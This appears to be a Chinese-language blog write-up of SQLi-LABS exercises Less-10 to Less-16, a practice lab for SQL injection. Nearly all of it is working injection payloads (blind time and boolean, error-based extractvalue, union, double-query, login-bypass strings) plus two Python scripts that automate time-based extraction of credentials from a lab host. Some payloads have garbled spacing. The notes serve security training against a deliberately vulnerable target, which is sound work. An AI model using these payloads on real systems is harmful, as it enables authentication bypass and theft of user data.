?id=1" and If(ascii(substr((select table_name from information_s chema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+

猜测第一个数据表的第一位是 e,...依次类推,得到 emails

SQLi-LABS(笔记)Page-1(Basic Challenges)_第115张图片

?id=1" and If(ascii(substr((select table_name from information_s chema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+

猜测第二个数据表的第一位是 r,...依次类推,得到 referers

SQLi-LABS(笔记)Page-1(Basic Challenges)_第116张图片

再以此类推,我们可以得到所有的数据表 emails,referers,uagents,user

猜测 users 表的列

?id=1" and If(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+

猜测 users 表的第一个列的第一个字符是 i

SQLi-LABS(笔记)Page-1(Basic Challenges)_第117张图片

以此类推,我们得到列名是 id,username,password 猜测

username 的值

?id=1" and If(ascii(substr((select username from users limit 0,1), 1,1))=68,1,sleep(5))--+

猜测 username 的第一行的第一位

SQLi-LABS(笔记)Page-1(Basic Challenges)_第118张图片

以此类推,我们得到数据库 username,password 的所有内

Less-11

POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

SQLi-LABS(笔记)Page-1(Basic Challenges)_第119张图片

通过burp抓包改参数,输入admin admin 登陆,抓包,发送到repeater模块

SQLi-LABS(笔记)Page-1(Basic Challenges)_第120张图片

在repeater中通过修改post的参数进行注入

SQLi-LABS(笔记)Page-1(Basic Challenges)_第121张图片

方法一 extractvalue测试payload

uname=admin' and 1=1 --+ &passwd=admin&submit=Submit //能登陆

SQLi-LABS(笔记)Page-1(Basic Challenges)_第122张图片

uname=admin' and 1=2 --+ &passwd=admin&submit=Submit //不能登陆

SQLi-LABS(笔记)Page-1(Basic Challenges)_第123张图片

说明注入生效,存在报错型注入,接下来又是重复性工作,上extractvalue()

爆库payload

uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit

SQLi-LABS(笔记)Page-1(Basic Challenges)_第124张图片

爆表payload

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=admin&submit=Submit

SQLi-LABS(笔记)Page-1(Basic Challenges)_第125张图片

只能查询到前几个表,后面加上not in ()就可以查到其他表了

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not in ('emails')))) --+&passwd=admin&submit=Submit

SQLi-LABS(笔记)Page-1(Basic Challenges)_第126张图片

这里发现没有更多的表了,而users表应该是存放用户信息的,所以进入下一步

爆列名payload

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=admin&submit=Submit

SQLi-LABS(笔记)Page-1(Basic Challenges)_第127张图片

同样使用not in 可以查询其他值

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+&passwd=admin&submit=Submit

SQLi-LABS(笔记)Page-1(Basic Challenges)_第128张图片

方法二 联合注入查询

union select注入

爆库payload

'union select database(),version(); #

SQLi-LABS(笔记)Page-1(Basic Challenges)_第129张图片

Less-12

Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)

方法一,双引号报错型注入

SQLi-LABS(笔记)Page-1(Basic Challenges)_第130张图片

SQLi-LABS(笔记)Page-1(Basic Challenges)_第131张图片

构造一个能闭合语句而且会报错的payload

admin" and extractvalue(1,concat(0x7e,(select database()))) and "

SQLi-LABS(笔记)Page-1(Basic Challenges)_第132张图片

最终admin = “admin” and extractvalue(1,concat(0x7e,(select database()))) and " "

concat()中构造查询语句

爆库payload

uname=admin" and extractvalue(1,concat(0x7e,(select database()))) and " &passwd=admin&submit=Submit

爆表payload

uname=admin" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and " &passwd=admin&submit=Submit

爆列payload

uname=admin" and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) and " &passwd=admin&submit=Submit

爆值payload

uname=admin" and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users))) and " &passwd=admin&submit=Submit

方法二 联合注入查询

爆库payload

"union select database(),version() #

SQLi-LABS(笔记)Page-1(Basic Challenges)_第133张图片

方法三 奇淫技巧

SQLi-LABS(笔记)Page-1(Basic Challenges)_第134张图片

报错的内容为:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘admin") LIMIT 0,1’ at line 1

输入的哪里多加了一个双引号和括号,据此构造出万能密码的Payload:

账号:admin")#

SQLi-LABS(笔记)Page-1(Basic Challenges)_第135张图片

Less-13

POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

SQLi-LABS(笔记)Page-1(Basic Challenges)_第136张图片

uname=admin')-- -&passwd=admin&submit=Submit

判断注入点,但是没有回显所以判断是盲注

SQLi-LABS(笔记)Page-1(Basic Challenges)_第137张图片

方法一:报错型盲注

uname=uname=admin') and extractvalue(1,concat(0x7e,(select database()))) -- -&passwd=admin&submit=Submit

方法二:时间型盲注

uname=admin') and if(left(database(),1)='s',sleep(5),1) --+&passwd=admin&submit=Submit

Less-14

POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

SQLi-LABS(笔记)Page-1(Basic Challenges)_第138张图片

在password输入"会报错 "#就不报错了 那么应该是“”的闭合,但是没有回显的值 只有报错的信息

爆库名

" union select count(*),concat_ws('*',(select database()),floor(rand()*2)) as a from information_schema.tables group by a#

SQLi-LABS(笔记)Page-1(Basic Challenges)_第139张图片

有数据库后 开始爆破表名

" union select count(*),concat_ws(';',(select table_name from information_schema.tables where table_schema='security'),floor(rand()*2)) as a from information_schema.tables group by a#

SQLi-LABS(笔记)Page-1(Basic Challenges)_第140张图片

limit绕吧 这是不是个数问题 不能用group绕

" union select count(*),concat_ws(';',(select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a#

SQLi-LABS(笔记)Page-1(Basic Challenges)_第141张图片

得到表名后,爆列名

" union select count(*),concat_ws(';',(select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a#

SQLi-LABS(笔记)Page-1(Basic Challenges)_第142张图片

last 爆破字段 --第一个用户名和密码

" union select count(*),concat_ws(',',(select username from users limit 0,1),(select password from users limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a#

SQLi-LABS(笔记)Page-1(Basic Challenges)_第143张图片

less-15

POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)

SQLi-LABS(笔记)Page-1(Basic Challenges)_第144张图片

怎么输入都没有回显,布尔测试

admin' and 1=1# 成功

SQLi-LABS(笔记)Page-1(Basic Challenges)_第145张图片

admin' and 1=2# 失败

SQLi-LABS(笔记)Page-1(Basic Challenges)_第146张图片

时延测试

admin' and sleep(5)# 成功延迟5s

SQLi-LABS(笔记)Page-1(Basic Challenges)_第147张图片

手工时延注入

数据库长度

uname=admin' and if(length(database())=8,sleep(5),1)#&passwd=admin&submit=Submit

猜数据库名

uname=admin'andif(left(database(),1)='s',sleep(5),1)#&passwd=admin&submit=Submit

猜表名

uname=admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)#&passwd=admin&submit=Submit

猜列名

uname=admin'andif(left((select column_name from information_schema.columnswhere table_name='users'limit4,1),8)='password',sleep(5),1)#&passwd=admin&submit=Submit uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit

猜字段

uname=admin'andif(left((select username from users orderby id limit0,1),4)='dumb',sleep(5),1)#&passwd=admin&submit=Submit

脚本时延注入

爆库,爆表,爆列名,爆值,使用python脚本

#coding:utf-8
import requests,datetime
url = "http://10.31.7.59/sqli-labs-php7-master/Less-15/"
char = "abcdefghijklmnopqrstuvwxyz_"
print("start!")
for i in range(0,10):
    database = ""
    for j in range(1,20):
        for str in char:
            # print(str)
            time1 = datetime.datetime.now()
            data = {'uname':"admin'and If((mid((select schema_name from information_schema.schemata limit %d,1),%d,1))='%s',1,sleep(5))#"%(i,j,str),'passwd':"1"}
            res = requests.post(url,data=data)
            # print(res.text)
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            if sec<4:
                database += str
                print(database)
                break
    print("the %d database: "%i)
    print(database)
print("end!")

万能注入

admin'#

SQLi-LABS(笔记)Page-1(Basic Challenges)_第148张图片

成功登录

Less-16

POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)

SQLi-LABS(笔记)Page-1(Basic Challenges)_第149张图片

手工时延注入

跟less15相比单引号改为双引号+括号

脚本时延注入

爆库,爆表,爆列名,爆值

使用python脚本

import requests
import time
from concurrent.futures import ThreadPoolExecutor,wait
url="http://10.31.7.59/sqli-labs-php7-master/Less-16/"
def sql_host(url,cansu):
    cansu=chr(cansu)
    data={'uname':"admin'and if(left(database(),1)="+cansu+',sleep(5),1)--+',
        'passwd':"admin",
        'submit':"Submit"
    }
    time=requests.post(url,data=data).elapsed.total_seconds()
    print(time)
sql_host(url,115)

你可能感兴趣的:(SQL,数据库,sql,web安全,服务器,网络安全)